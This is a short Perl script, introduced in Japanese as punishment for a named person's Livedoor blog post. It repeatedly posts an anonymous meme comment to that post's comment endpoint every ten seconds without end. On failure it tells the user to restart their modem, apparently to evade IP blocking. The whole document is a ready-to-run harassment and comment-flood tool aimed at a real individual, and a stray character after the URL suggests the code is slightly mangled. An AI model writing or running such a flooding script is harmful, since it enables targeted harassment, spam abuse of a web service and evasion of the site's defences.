# 塩沢のブログ(http://blog.livedoor.jp/wan111/archives/51282353.html)に天誅を与えましょう。
use LWP::UserAgent;
$ua=LWP::UserAgent->new();
%form=();
$form{'author'}="\xCC\xBE\xCC\xB5\xA4\xB7";
$form{'body'}="\x28\xA1\xAD\x8E\xA5\xA6\xD8\x8E\xA5\x60\x29\xA4\xE4\xA4\xA1\xA1\xA3\xA4\xE8\xA4\xA6\xA4\xB3\xA4\xBD\xA5\xD0\xA1\xBC\xA5\xDC\xA5\xF3\xA5\xCF\xA5\xA6\xA5\xB9\xA4\xD8\xA1\xA3";
while(1){
$res=$ua->post("http://app.blog.livedoor.jp/wan111/comment.cgi/51282353#errors";,\%form);
if($res->headers->as_string=~m!Location: http://blog.livedoor.jp/!i){print "書き込み成功\n";}else{print "書き込み失敗(モデムを再起動してください)\n";exit 0;}
print "10秒待ちます\n";sleep(10);
}